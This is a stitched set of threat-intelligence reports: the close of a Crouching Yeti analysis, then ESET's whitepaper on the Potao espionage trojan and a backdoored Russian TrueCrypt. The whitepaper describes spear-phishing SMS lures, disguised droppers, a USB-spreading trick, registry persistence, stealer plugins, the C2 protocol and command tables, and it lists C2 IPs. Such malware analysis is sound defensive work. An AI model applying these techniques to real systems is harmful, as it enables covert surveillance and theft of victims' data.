So, while there was a strong set of offensive activities on power producers during the campaigns, it was by no means the full focus of them.
3.3.
Victim characteristics and categories While it may be shocking to observe power producers around the world targeted by any one threat actor, this actors attack activity does not appear to be constrained to power producers.
The related industries of interest show a much broader global scope than previously discussed, and the geographic regions of interest have gone completely undiscussed.
For example, Spain had the highest number of victims.
However, it appears that there was no significant correlation between the victim location and the CC geolocation.
And, according to our data, the list also includes victim organizations fitting the following additional categories: Pharmaceuticals Health Cleaning Education Automotive Transportation Packaging Network Infrastructure Information Technology Structural Engineering Mechanical Engineering 37 TLP: Green 4.
Conclusions The Crouching Yeti actor has been performing massive surveillance campaigns in recent years, since at least 2010.
Their targets included thousands of victims of which we were able to identify a few, confirming Crouching Yetis interest in several strategic sectors.
The distribution strategy of the group focuses on methods following this targeted philosophy, including spear phishing and waterholing.
Noticeably, they also compromised legitimate software packages from strategic actors in the SCADA sector in order to infect their final victims.
The victim list confirms that the tactic proved successful.
There is nothing especially sophisticated in their exploits, or in the malware they used to infect victims.
Their RATs are flexible enough to perform surveillance and data exfiltration efficiently.
They used dozens of compromised servers as Command and Control domains with a simple, but effective, PHP backend.
However there is an interesting connection with this group and the LightsOut Exploit Kit for the distribution of its malware in some waterholing attacks.
We believe they are likely its only operators as of June 2014.
Thanks to the monitoring of several of the Command and Control domains used by the group, we were able to identify several victims.
This victims list reinforces the interests shown by the Crouching Yeti actor in strategic targets, but also shows the interest of the group in many other not-so-obvious institutions.
We believe they might be collateral victims, but it might also be fair to redefine the Crouching Yeti actor not only as a highly targeted one in a very specific area of interest, but a broad surveillance campaign with interests in different sectors.
We will continue monitoring this actor.
2.
Analysis 2.1.
Delivery 2.2.
Malware 2.2.1 The Havex Loader 2.2.2 The Ddex Loader 2.2.3 The Sysmain backdoor 2.2.4 The ClientX backdoor 2.2.5 The Karagany Backdoor 2.3.
CC servers and victims 2.3.1.
Victims 2.3.2.
Victims-CC relationship 3.
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Attribution 3.1.
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data/reports_final/0137.txt
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Attribution 3.1.
Non-specific Data 3.2.
Exploit server activity 3.3.
Victim characteristics and categories 4.
Conclusions
OPERATION POTAO EXPRESS Analysis of a cyber-espionage toolkit Robert Lipovsky, Anton Cherepanov 1 EXECUTIVE SUMMARY The Operation Potao Express whitepaper presents ESETs latest findings based on research into the Win32/Potao malware family.
Even though the malware was detected long ago by ESET and a few other anti-virus companies, it hasnt received any public attention since 2011, when the first known samples were detected.
Like BlackEnergy (a.k.a.
Sandworm, Quedagh), Potao is an example of targeted espionage (APT) malware detected mostly in Ukraine and a number of other CIS countries, including Russia, Georgia and Belarus.
Among the victims that we were able to identify, the most notable high-value targets include Ukrainian government and military entities and one of the major Ukrainian news agencies.
The malware was also used to spy on members of MMM, a financial pyramid scheme popular in Russia and Ukraine.
One of the most interesting discoveries during our Potao investigation and research was the connection to a Russian version of the now discontinued popular open-source encryption software, TrueCrypt.
The website truecryptrussia.ru has been serving a Russian language localized version of the TrueCrypt application that also contains a backdoor, in some specific cases.
The trojanized version of the application is only served to selected victims which is another indicator of targeting by the malware operators and also one the reasons why the backdoor has gone unnoticed for such a long time.
In addition to serving trojanized TrueCrypt, the domain also acted as a CC server for the backdoor.
The connection to Potao lies in the fact that Win32/Potao has been downloaded in a few cases by Win32/FakeTC (ESET detection name of the trojanized encryption software).
This paper also gives additional technical details on the Win32/Potao malware family and its spreading mechanisms, and describes the most noteworthy attack campaigns.
2 INTRODUCTION This report gives details on a large number of attacks1 that have been going on for the past 5 years.
The (seemingly) unrelated campaigns were all conducted using the Win32/Potao malware family.
Similarly to BlackEnergy, the malware family used by the so-called Sandworm group, the Potao malware is a universal modular cyber-espionage toolkit.
The attacks where it was employed were of the targeted (APT) type but there were also several cases where we detected the trojan in mass- spreading campaigns.
The countries most targeted by Potao, a malware family most probably of Russian origin, are Ukraine, Russia and Georgia, with some notable high-value targets.
Our paper presents a timeline of the various campaigns, focusing on the spreading vectors and then provides a technical analysis of the Win32/Potao trojan.
We also analyze Win32/FakeTC atrojanized version of the popular open-source encryption software, TrueCrypt.
The listed Indicators of Compromise include sample hashes, domain names, and CC IP addresses.
1) The title of this whitepaper, Operation Potao Express, is derived from the Win32/Potao malware family the common denominator in all of the described cyberattacks and from websites used in the postal-service campaigns.
3 CONTENTS Executive Summary .
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1 Introduction .
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2 List of figures .
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4 Attack timeline .
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5 Campaigns in 2011 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6 The MMM campaigns .
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7 A wedding invitation in Georgia .
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9 Shift of focus to Ukraine.
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9 Postal-service campaigns .
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.10 Attacks against Ukrainian government and military .
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13 TrueCrypt Russia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
14 Georgian campaign . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
15 Win32/Potao Technical Analysis 15 Infection vectors persistence .
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16 Win32/Potao Architecture .
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17 Plugins overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18 CC communication protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
19 Spreading via USB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
22 Win32/Potao anti-reverse engineering techniques .
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.23 Win32/FakeTC Fake TrueCrypt Analysis .
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24 Conclusion .
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26 Appendix A Comparison with BlackEnergy (the trojan used by the Sandworm / Quedagh group) . . . . . . . . . . . . . . . . . . . . . . . . . . .
.27 Appendix B Details of Win32/Potao samples Campaigns . . . . . . . . . . . . . . . . . . . . . . .
28 Appendix C Indicators of Compromise (IOC) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
30 SHA1 hashes: .
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30 Domain names:.
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.32 IP addresses of CC servers: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.32 4 LIST OF FIGURES Figure 1 Detection statistics for Win32/Potao according to ESET LiveGrid .
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5 Figure 2 Timeline of selected Potao campaigns .
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6 Figure 3 Example decoy document from the first Potao campaigns .
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6 Figure 4 Armenian Ministry of Labor and Social Affairs document used as decoy in 2011 campaign . . . . . . .
7 Figure 5 Decoy document from 1st MMM-related campaign .
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7 Figure 6 Decoy document from another MMM-related campaign .
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8 Figure 7 Warning announcement on Sergei Mavrodis blog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8 Figure 8 Win32/Potao hosted on Dropbox . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9 Figure 9 Georgian decoy wedding invitation .
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9 Figure 10 Debug versions of Win32/Potao . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 Figure 11 Legitimate Pony Express website . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 Figure 12 Fraudulent MNTExpress website . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 Figure 13 Spear-phishing SMS.
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11 Figure 14 SMS recipient seeking information on discussion forum . . . . . . . . . . . . . . . . . . . . . . . . . . .
11 Figure 15 Legitimate website of Singapore Posts Speedpost service .
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12 Figure 16 Fraudulent WorldAirPost.com website . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 Figure 17 Pop-up message explaining why no Excel document was opened .
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13 Figure 18 Potao droppers with MS Word icons and file names to attract the recipients interest . . . . . . . . .
13 Figure 19 One of the corrupted-looking decoy documents from March 5, 2015 . . . . . . . . . . . . . . . . . . .
13 Figure 20 Website of TrueCrypt Russia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
14 Figure 21 Georgian decoy document.
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15 Figure 22 PDB paths containing Potao, sapotao and node69 . . . . . . . . . . . . . . . . . . . . . . . . . . .
16 Figure 23 Patch of export function name before dropping the main DLL . . . . . . . . . . . . . . . . . . . . . . .
17 Figure 24 Win32/Potao architecture.
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17 Figure 25 GrandTorg certificate details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18 Figure 26 Potao key exchange and CC communication scheme .
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20 Figure 27 Initial POST request sent to CC .
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21 Figure 28 CC server response with base64-encoded RSA-2048-signed generated RSA-2048 public key . . .
21 Figure 29 Trick for spreading via USB removable media .
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.23 Figure 30 Loading WinAPI functions through hashes .
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.23 Figure 31 String decryption algorithm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.24 Figure 32 Win32/FakeTC detections by country since June 2015, according to ESET LiveGrid .
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.24 Figure 33 Trojanized Russian TrueCrypt .
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.25 5 ATTACK TIMELINE The Potao malware family is not new: it was first seen used in attacks in 2011.
One of the reasons why no comprehensive research on this family has been published until today might be the fact that between 2011 and 2013 the number of detections was relatively low.
A significant rise in malware prevalence was observed by ESET LiveGrid in 2014 and 2015 (Figure 1).
Figure 1 Detection statistics for Win32/Potao according to ESET LiveGrid We omitted detection statistics for 2011 from the chart above because at that time the malware appeared to spread as regular crimeware, i.e.
it was spreading in many different countries and these waves were most probably unrelated to the targeted and semi-targeted attacks seen in the subsequent years.
Debugging versions detected in 2013 are also excluded from the chart.
Many of the Potao campaigns in the past bear the characteristics of a targeted attack (APT).
Yet, interestingly, the same malware family was also used in mass infections detected on a large number of seemingly unrelated hosts.
While this hybrid approach to malware dissemination might seem strange, it has been observed before.
The BlackEnergy trojan, for example, was used in targeted attacks against certain high-profile targets but its spreading went beyond just the few targeted organizations2.
Similarly, the outbreak of Stuxnet was the reason why the notorious malware was discovered, although in that case, by mistake.
From our analysis of Potao campaigns over the past five years, it seems that the mass-spread infections were used to test and debug the trojan in preparation for upcoming targeted attacks.
Similar debug runs of new versions of targeted malware by massively infecting a wide range of test victims is an interesting but not uncommon technique used by professional APT groups.
The main reason for the increase in Potao detections in 2014 and 2015 were infections through USB drives.
2) Either as collateral damage, or for unknown reasons.
400 350 300 250 200 150 100 50 0 2012 2013 2014 2015 Russia Ukraine Georgia Belarus 6 Figure 2 Timeline of selected Potao campaigns The timeline in Figure 2 lists a selection of Potao attack campaigns and other important events, according to dates when they were first detected by ESET, or by the compilation timestamps in the binaries.
A more comprehensive listing of representative campaigns, with their compilation timestamps, unique campaign IDs3 and malware version numbers can be found in Appendix B.
Lets take a closer look at some of the more significant campaigns.
Campaigns in 2011 The first Potao campaign that we examined took place in August 2011.
It was a mass-spreading campaign4.
The binaries used in this campaign contained an encrypted string: GlobalPotao, hence the name of the malware family.
The infection technique used by the first campaign, and also by campaigns in the following years, was trivial, yet effective.
The Potao trojan-droppers arrived (commonly via phishing emails) at victims systems in the form of executables with the icon of a Microsoft Word document, to trick the users into opening them and thereby running the malware.
No software exploits were needed.
Apart from the malicious payload, the droppers usually also contained a decoy document that was displayed to the victim.5 Figure 3 Example decoy document from the first Potao campaigns 3) The Campaign IDs are unique text strings used to identify individual infections or infection attempts by the Potao malware operators.
The combinations of letters and numbers used can sometimes reveal information about the campaign and targets.
For example, a campaign with the Campaign ID perm was detected in the Russian province of Perm, campaigns labeled mmmL and NMMM were most likely related to tracking members of the MMM Ponzi scheme, and so on.
4) The outbreak of early Win32/Potao versions is mentioned in this Cisco alert 5) This technique is a common one, also used by other malware groups and to spread other malware families, for example Korplug (PlugX).
SEP 2013 MAR 2014 MMM Campaigns USB Spreading Fake TrueCrypt Georgian campaign Shift to focus to Ukraine Attacks against government and military Postal Service Campaigns WordAirpost.net WordAirpost.comMNTExpress debug versions AUG 2014 Grandtorg certicate granted and subsequently revoked OCT 2013 OCT 2013 1st appearance SEP 2014 - MAR 2015 JUN 2015 Georgian campaign JUL 2015 APR 2012 APR - JUN 2012 1st appearance Armenian Campaign AUG 2011 1st Potao appearance MAY 2011 high prevalence MAR 2015 2011 2012 2013 2014 2015 2016 7 Potao droppers in another campaign detected in 2011 were using a decoy document in the Armenian language.
Interestingly, the decoy was a legitimate document that belonged to the Armenian Ministry of Labor and Social Affairs.
Figure 4 Armenian Ministry of Labor and Social Affairs document used as decoy in 2011 campaign The MMM campaigns MMM is one of the worlds largest Ponzi schemes of all time.
We wont go into details about the Russian financial pyramid and its author, as these can easily be found online.
Binaries in the first detected MMM-related Potao campaign had a compilation timestamp April 27, 2012 and a campaign ID 00km.
The social-engineered decoy document pretends to be from someone wanting to join the pyramid scheme: Figure 5 Decoy document from 1st MMM-related campaign 8 A loose translation of the Russian text: I do business in the construction industry.
Id like to invest about 500k rubles.
I want to invest with a highest yield.
I hope you will help me.
Another campaign detected not long after the first one used decoy documents with random Cyrillic characters.
As we discovered later, the use of documents that appear corrupted, because of the garbage text used, seems to be a kind of trademark for this group.
Figure 6 Decoy document from another MMM-related campaign The file name in the example above was .exe (Payment report for Kovaleva Alexandra) and this time, the campaign ID actually confirms the connection to the Ponzi scheme: mmmL.
On June 19, 2012, Sergei Mavrodi, the inventor of MMM, stated in a blog post that someone trying to impersonate him was sending out spear phishing emails to members of MMM that contained a link to malware hosted on Dropbox.
Figure 7 Warning announcement on Sergei Mavrodis blog 9 Figure 8 Win32/Potao hosted on Dropbox The filenames used were or anketa_i_pravidla (Questionnaire and rules), compilation timestamp June 13, 2012 and campaign ID NMMM.
The specific targeting of these campaigns suggests that the operators of the Potao malware toolkit were trying to track or spy on members and/or organizers of the financial pyramid scheme.
A wedding invitation in Georgia In 2013 the Potao malware was also detected in Georgia.
The file, compiled on October 15, 2013, was named Wedding_invitation.exe and showed the victim a decoy wedding invitation.
It is interesting to note that both the file name and the wedding invitation were in English.
Figure 9 Georgian decoy wedding invitation Shift of focus to Ukraine Before we observed a rise in Win32/Potao detections in Ukraine in 2014, ESET detected several debug versions of the malware in autumn 2013.
We can assume that this was in preparation for the Ukrainian targeted attacks.
10 Figure 10 Debug versions of Win32/Potao6 One of the campaign IDs in these debug waves was krim (Russian for Crimea).
Postal-service campaigns In March 2014, the gang behind Potao started using a new infection vector.
They created a malicious landing webpage called MNTExpress.
The website was apparently inspired by the site of the legitimate Russian postal service Pony Express.
Figure 11 Legitimate Pony Express website Figure 12 Fraudulent MNTExpress website 6) The text strings shown in the screenshot are not present in regular release versions of the trojan.
11 Posing as a parcel tracking receipt or an invoice is a very common technique for spreading malware.
Instructions to download the malicious bait are usually sent in waves of phishing emails.
The Potao gang, however, used a different approach.
The targets of their interest were sent an SMS message that contained a link to the fraudulent landing webpage, along with a specific tracking code and the recipients name.
This approach indicates very specific targeting of the attacks, since: The attackers had prior knowledge of the victims full names and their cellphone numbers.
The delivered binaries were tailored to the victim.
In order to download a sample of Win32/Potao, it was necessary to enter a specific tracking code into the web form.
Figure 13 Spear-phishing SMS Figure 14 shows a recipient inquiring about the SMS on a Vkontakte discussion forum: Figure 14 SMS recipient seeking information on discussion forum 12 The same infection scenario was used approximately one year later, in March 2015.
This time, the attackers registered the domain WorldAirPost.com and the website design was stolen from Singapore Post.
Curiously, the attackers changed the Singapore Post logo to Italy Post: Figure 15 Legitimate website of Singapore Posts Speedpost service Figure 16 Fraudulent WorldAirPost.com website At the time of writing the attackers are still active, having registered WorldAirPost.net in June 2015.
It is also interesting to note that while the MNTExpress websites contained both Russian and English language mutations, WorldAirPost was only in English.
13 Interestingly, the Potao droppers served in these campaigns were not disguised as Word documents but Excel spreadsheets.
Also, instead of popping up a decoy document, a fake excuse dialog box is shown (Figure 17): Figure 17 Pop-up message explaining why no Excel document was opened Attacks against Ukrainian government and military Since March 2015, ESET has detected Potao binaries at several high-value Ukrainian targets that include government and military entities and one of the major Ukrainian news agencies.
The infection vector used in these attack waves was again an executable with a MS Word document icon and this time cleverly chosen filenames to increase the likelihood that the recipient would open the bait: Figure 18 Potao droppers with MS Word icons and file names to attract the recipients interest7 The topics in the file names correspond to the fact that government and military officials were targeted.
The decoy documents displayed once again appeared corrupted.
Figure 19 One of the corrupted-looking decoy documents from March 5, 2015 7) The acronym ATO refers to Anti Terrorist Operation in Eastern Ukraine.
The same theme was used to spread the BlackEnergy trojan.
Table of prisoners of Ukrainian armed forces on 05.03.2015 Exempted military persons between 06.09.2014 and 05.03.2015 Exempted from captivity for Chief of the General Staff on 05.03.2015 List of captured during the ATO on 05.03.2015 14 TrueCrypt Russia During our monitoring of the Potao botnet, we discovered infections that originated from a rather suspiciously-named trojan dropper and an even more suspicious website.
We found out that instances of Win32/Potao were being launched by a dropper named TrueCrypt.
exe.
That wouldnt be too surprising, since malware operators often use file names that resemble legitimate applications, but in this case the dropper was a binary of the actual, now discontinued, TrueCrypt encryption software.
Investigating further, we discovered that not only was the Potao malware installed by a trojanized version of TrueCrypt but it had also been downloaded from the website truecryptrussia ru, which offers downloads of the abovementioned TrueCrypt binaries.
Finally, we discovered that the domain in question was also used as a malware CC server, and thus truecryptrussia.ru being a fraudulent website operated by the attackers seems to be the likelier explanation than merely being a legitimate website compromised by them.
To sum it up, the website and software of TrueCrypt Russia was found guilty of: 1.
Hosting trojanized (backdoored) versions of the TrueCrypt encryption software.
(
See the Win32/FakeTC section for a technical analysis of the backdoor.)
2.
Hosting the Win32/Potao malware.
3.
Acting as a CC server for abovementioned trojanized TrueCrypt.
Note, however, that not every download of the TrueCrypt software from the Russian website is malicious or contains a backdoor.
The malicious versions of the software are served only to selected visitors, based on unknown specific criteria.
This lends additional evidence to the view that the operation is run by a professional gang that selectively targets their espionage victims.
Figure 20 Website of TrueCrypt Russia According to ESETs LiveGrid telemetry, the Russian TrueCrypt website has been serving malware since at least June 2012.
The served binaries timestamps date the earliest trojans to April 2012.
15 Georgian campaign As confirmation that the malware writers are still very active even at the time of this writing, ESET detected a new Potao sample compiled on July 20, 2015.
The file was targeted (and detected) against a victim in Georgia.
Unlike the previous campaigns, the displayed decoy was not a Word document but a PDF file.
Figure 21 Georgian decoy document WIN32/POTAO TECHNICAL ANALYSIS In this section well describe the technical aspects of the Win32/Potao trojan, from the malware architecture, CC communication, analysis of plugins, and description of infection vectors, including USB spreading functionality, to the anti-reverse engineering techniques used.
From a functional, high-level perspective, the malware family shares many common characteristics with the BlackEnergy trojan.
A feature comparison with BlackEnergy can be found in Appendix A and Indicators of Compromise (IoC) are listed in Appendix C. The following paragraphs present an overview of Win32/Potao functionality, focusing on its unique features.
Before we move on to the actual analysis of the malware, lets look at where the family got its name.
The malware binaries from the first detected campaign contained an encrypted string GlobalPotao.
In other samples of the same family that ESET detected throughout the years, the malware has also gone by the names Sapotao and node69 as seen in its own DLL filenames names and PDB paths left inside the binaries: 16 Figure 22 PDB paths containing Potao, sapotao and node69 The Potao family is a typical cyberespionage trojan, and as such it implements all the necessary functionality to exfiltrate sensitive information from the infected users system and send it to the attackers remote server.
Infection vectors persistence Similarly to most other trojan families, Win32/Potao arrives at the victims computer system in the form of a trojan dropper that acts as an installer for the malware.
We have observed several infection vectors used to distribute the trojan, as described in the Attack timeline section.
Tosummarize: Executables masquerading as Word, Excel, and PDF documents.
These were propagated through fake postal service websites and SMS links, and possibly also through phishing emails Worm-like USB spreading functionality Fake TrueCrypt software see Win32/FakeTC for the technical analysis The dropper itself is usually in two stages.
The first stage, for example, in the form of an executable with an icon of a MS Word document, merely drops the second stage dropper into the temp directory, executes it, and at the same time drops the embedded decoy document into the current working directory and opens it.
The second stage dropper unpacks the main DLL from within itself using RtlDecompressBuffer.
TheDLL is dropped to the following path, loaded and injected into explorer.exe: APPDATA\Microsoft\LUID.dll8 Before the DLL is dropped to the drive, however, a simple trick is applied.
The Potao dropper patches the name of the Enter export function in the DLL files export address table to the LUID value.
Figure 23 shows the patching function and an example where Enter was renamed to _85fc.
As a result, every dropped instance of the DLL will have a unique binary hash.
8) LUID signifies the LUID structure, which is used as a unique identifier for the infected bot 17 Figure 23 Patch of export function name before dropping the main DLL The trojan uses standard methods for loading its DLL via rundll32.exe and for maintaining persistence, by setting the Run registry entry: [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] LUID Win32/Potao Architecture The Potao trojan features a modular architecture and its functionality can be expanded with additional downloadable plugins.
Figure 24 Win32/Potao architecture explorer.exe \\.\pipe\\name chrome.exe iexplore.exe Skype.exe Opera.exe firefox.exe uTorrent.exe safari.exe plugin plugin plugin CC 18 When the malware is installed, its main DLL will be injected into the explorer.exe process.
After having passed a mutex check, this instance will try to inject itself into the address space of several running legitimate and Internet-facing processes (browsers, Skype and uTorrent).
With this setup, theinstance injected within explorer.exe is responsible for loading and communicating with the Potao plugins, while the instances within the Internet-facing processes takes care of communication with the CC server.
The two instances communicate via a named pipe.
Plugins overview The Potao main DLL only takes care of its core functionality the actual spying functions are implemented in the form of downloadable modules.
The plugins are downloaded each time themalware starts, since they arent stored on the hard drive.
Win32/Potao supports two types of plugins.
The first type is Full Plugin9 and its export function is called Plug.
The second is Light Plugin with an export function Scan.
The difference between the two types is how they execute and return desired information.
Full plugins run continuously until the infected system is restarted, while Light plugins terminate immediately after returning a buffer with the information they harvested off the victims machine.
It is worth mentioning that some of the plugins we observed during our monitoring of the Potao botnet were signed with a certificate issued to Grandtorg: Figure 25 GrandTorg certificate details The name Grand Torg sounds like Great Market in Russian, a rather common term we werent able to identify an institution with that name.
The certificate Serial Number is: 0453B96EB039AFD6C9988C8CB698E7C9 and its effective Revocation Time: Aug 19 00:00:00 2014 GMT Since the Revocation Time is the same as the Valid from time, all signatures made with this certificate have been rendered invalid after the revocation request was issued.
This strongly suggests that the certificate has only been used for nefarious purposes, as opposed to having been stolen from a legitimate company.
Table 1 contains a list of Potao plugins that we have encountered10.
9) Full Plugin and Light Plugin are terms used by the actual malware authors in debug builds of the trojan.
10) It is quite possible that we have not seen all existing plugins, so the list may be incomplete.
19 Filename Type Description GetAllSystemInfo.dll Light Collects various kinds of system information, including: system identifying information, proxy and language settings, lists of processes, installed software, recently opened files, and so on.
GetAllSystemInfo.dll Light This plugin contains different functionality from the other plugin with the same file name.
It collects browsing history from Google Chrome, Mozilla Firefox and Opera.
FilePathStealer.dll Full Enumerates all drives and creates a list of potentially interesting files: images and documents.
The plugin searches for files with the following extensions: JPG, BMP, TIFF, PDF, DOC, DOCX, XLS, XLSX, ODT, ODS.
task-diskscanner.dll Full Like the FilePathStealer.dll plugin, this one also enumerates potentially interesting files.
It looks for document extensions and common history, settings and cookie files belonging to Internet browsers.
After the search, the found files are sent to the CC.
KeyLog2Runner.dll Full Logs key strokes clipboard data from most common Internet browsers and Skype.
PasswordStealer.dll Light Decrypts and steals passwords and settings from different browsers and email clients.
Screen.dll Light Captures screenshots.
Poker2.dll Light Disables spreading through USB drives, deletes specific Registry keys, and kills processes belonging to the malware.
loader-updater.dll Light Updates the trojan.
Table 1 Win32/Potao plugins CC communication protocol The Win32/Potao samples that weve analyzed contained several different CC IP addresses encrypted in their bodies.
For example one sample had the following hard-coded list of IPs, after decryption: 87.106.44.200:8080 62.76.42.14:443 62.76.42.14:8080 94.242.199.78:443 178.239.60.96:8080 84.234.71.215:8080 67.103.159.141:8080 62.76.184.245:80 62.76.184.245:443 62.76.184.245:8080 The malware randomly picks one of these IP addresses and makes an attempt to establish a connection.
As can be seen from the ports in the list above, the HTTP or HTTPs protocols can be used for communication with the remote server.
The communication uses strong cryptography in two stages.
The first stage is the key exchange and the second stage is the actual exchange of data.
This simple yet secure communication scheme is explained in Figure 26.
20 Figure 26 Potao key exchange and CC communication scheme generates new signs it with its has embeded in its code: RSA-2048 public key RSA-2048 private key RSA-2048 public key connection attempt 14 verifies the signature with obtains new generates new encrypts it with the new RSA-2048 public key the RSA-2048 public key RSA-2048 public key MALWARE CC SERVER possesses: RSA-2048 private key RSA-2048 public key RSA-2048 private key RSA-2048 public key obtains the AES-256 symmetric key AES-256 symmetric key decrypts it with its RSA-2048 private key AES-256 symmetric key AES-256 symmetric key encrypts the request data with AES-256 symmetric key REQUEST DATA REQUEST DATA13 decrypts the request data 21 When the malware first contacts the CC server (1) it sends a POST-request as shown in the example in Figure 27.
The data sent is encapsulated using the XML-RPC protocol.
Interestingly, the used methodName value 10a7d030-1a61-11e3-beea-001c42e2a08b is always present in Potao traffic that weve analyzed.
Figure 27 Initial POST request sent to CC After receiving the request the CC server generates an RSA-2048 public key (2) and signs this generated key with another, static RSA-2048 private key (3).
Figure 28 shows an example server response (4): Figure 28 CC server response with base64-encoded RSA-2048-signed generated RSA-2048 public key When the malware receives this new RSA-2048 key it performs a signature verification using a corresponding static public key, which is embedded in the binary (5).
If the signature is correct then the newly-received generated public key (6) will be used to encrypt the next step in communication.
22 The embedded static RSA-2048 public key: -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApiLYPP8Z2BPuAqq4IzJ9 TdSwDFl7IcuHidKRrxyEl8YtbD0rqmPhBL1R50gl5/rUYuT87rhWhvBGUTXxRv4u Ga7YIs9r0ymdQtmjAXDvbY01U51mKHm7894diVBhQ46sznudrJSz82VJXzbZ9NN fBUFiDQFj5DijnZJfeR/Jb/DD9oRTUJNeV1KIQeLZDUFHkCVp837roAprSyJpR 005EtiBgSQ7KO9GSKqxqzE5htdMX74n4kwmw/vRGi/c66a7/XlvCW1l0SWxowXO0 xqje04bbjzF9CINcvDBuVxlFznCOw51MUlO38lHJEpTrrQKSeMBSqMPunVF25At KQIDAQAB -----END PUBLIC KEY----- In the second stage the malware generates a symmetric AES-256 key (7).
This AES session key is encrypted with the newly received RSA-2048 public key (8) and sent to the CC server (9).
The actual data exchange (13) after the key exchange is then encrypted using symmetric cryptography, which is faster, with the AES-256 key (12).
Leaving aside the trojans implementation of cryptography the actual communication protocol is very simple.
The malware sends an encrypted request to the server, as illustrated by the following (decrypted) example: id4699807581825067201maptcode0sdataver:5.1.2600 lv:2.8.0002 comp:COMPUTER adm:1 x:0 p:firefox.exemd5dlen0 This request contains a computer ID, campaign ID, OS version, version of malware, computer name, current privileges, OS architecture (64 or 32bits) and also the name of the current process.
The server responds with the following data: codeCMDdataPAYLOAD_BASE64_ENCODEDdlenPAYLOAD_LENGTHmd5MD5 The code value represents the type of command that the bot is instructed to execute.
The possible commands are listed in Table 2: Command Description 2 Drop executable to TEMP and execute via CreateProcess function 3 Execute plugin module 4 Drop executable to TEMP and execute via ShellExecuteEx function 0 or 8 or any other Dummy command Table 2 Win32/Potao CC commands Spreading via USB In several spreading campaigns, the Potao gang has used an additional vector to disseminate the malware: through USB drives.
While so-called Autorun-worms11 used to be quite common, Win32/Potao took a different approach to USB infections.
Instead of dropping an autorun.inf file to the root folder of removable drives, the USB spreading component of Potao uses a different, simple yet effective trick to store its executable on the USB media.
The code responsible for USB infections will copy the Win32/Potao dropper into the root directory of all removable media drives.
The filename is selected to match the disk label and the icon for removable media devices is used.
At the same time, all other files and folders that were already present on the drive have their attributes set to Hidden and System.
11) Worms that misused the Windows AutoPlay functionality through autorun.inf files 23 Figure 29 Trick for spreading via USB removable media In effect, with the default Windows settings of hiding file extensions, the user will only see a disk drive icon with the same label as the actual USB drive in Windows Explorer.
This social engineering trick has fooled a number of victims into willingly running the malware.
Win32/Potao anti-reverse engineering techniques The Potao trojan implements several tricks to make the analysis of the malware harder for reverse- engineers.
One of them is using hashes of WinAPI functions instead of their names: Figure 30 Loading WinAPI functions through hashes This trick is commonly used among various malware families in different implementations the Potao malware uses the MurmurHash2 algorithm for computing the hashes of the API function names.
Another trick implemented in the malware is encryption of strings.
The decompiled decryption algorithm is shown in Figure 31.
24 Figure 31 String decryption algorithm The strings are encrypted using an XOR operation with 4-byte length key.
This key may be different in different samples.
WIN32/FAKETC FAKE TRUECRYPT ANALYSIS The malware described in this section is a different family altogether from Win32/Potao.
In this section we describe how the trojanized version of the open-source TrueCrypt software is used to exfiltrate files from the espionage victims encrypted drives.
The relation to Potao is explained in an earlier section of the whitepaper.
Figure 32 Win32/FakeTC detections by country since June 2015, according to ESET LiveGrid 25 Figure 33 shows the interface of the trojanized Russian TrueCrypt application.
Figure 33 Trojanized Russian TrueCrypt The malicious program code within the otherwise functional TrueCrypt software runs in its own thread.
This thread, created at the end of the Mount function, enumerates files on the mounted encrypted drive, and if certain conditions are met, it connects to the CC server, ready to execute commands from the attackers.
The backdoor functionality is only contained within the applications GUI modules the digitally signed TrueCrypt drivers remained intact.
The conditions that must be satisfied before the bot contacts the CC server for commands are: The number of files on the encrypted drive has to be greater than 10 The encrypted drive must have been mounted at least 4 times The available commands are listed in Table 3: Command Description idle Sleep for 1 second who Collect Windows version, Computer name, Username list Enumerate files on all disks (skipping C:\Windows and .exe, .dll) listContainer Enumerate files on mounted container rep Steal password for encrypted container file Steal file filem Steal file by mask re Download and execute file rd Download and execute DLL file (plugin) without storing on disk Table 3 Win32/FakeTC CC commands 26 As can be seen from the available commands, the Win32/FakeTC malware is a fully featured espionage trojan with the ability to extend its capabilities with downloadable plugins.
Also, the implemented stealth techniques serving the trojanized version only to selected targets, and only activating the malicious functionality for active, long-term TrueCrypt users are probably the reasons why the malware has been undetected for so long.
CONCLUSION In the previous pages we have presented our findings based on ESET detection telemetry and our analysis of Win32/Potao and Win32/FakeTC samples.
Potao is another example of targeted espionage malware, a so-called APT, to use the popular buzzword, although technically the malware is not particularly advanced or sophisticated.
On the contrary, the Potao gang has demonstrated that long-running, effective cyber-espionage can be carried out through carefully devised tricks and social-engineering, without the need for exploits.
Examples of notable Potao dissemination techniques, some of which were previously unseen, or at least relatively uncommon, include the use of highly-targeted spear-phishing SMS messages to drive potential victims to malware download sites and USB worm functionality that tricked the user into willingly executing the trojan.
But perhaps the most intriguing discovery was the connection to the trojanized Russian version of popular TrueCrypt encryption software and the truecryptrussia.ru website that both served TrueCrypt with an added backdoor to selected targets, and also acted as a malware CC server.
All of the findings presented in this paper indicate very APT-like behavior and specific targeting of victims by the Potao operators.
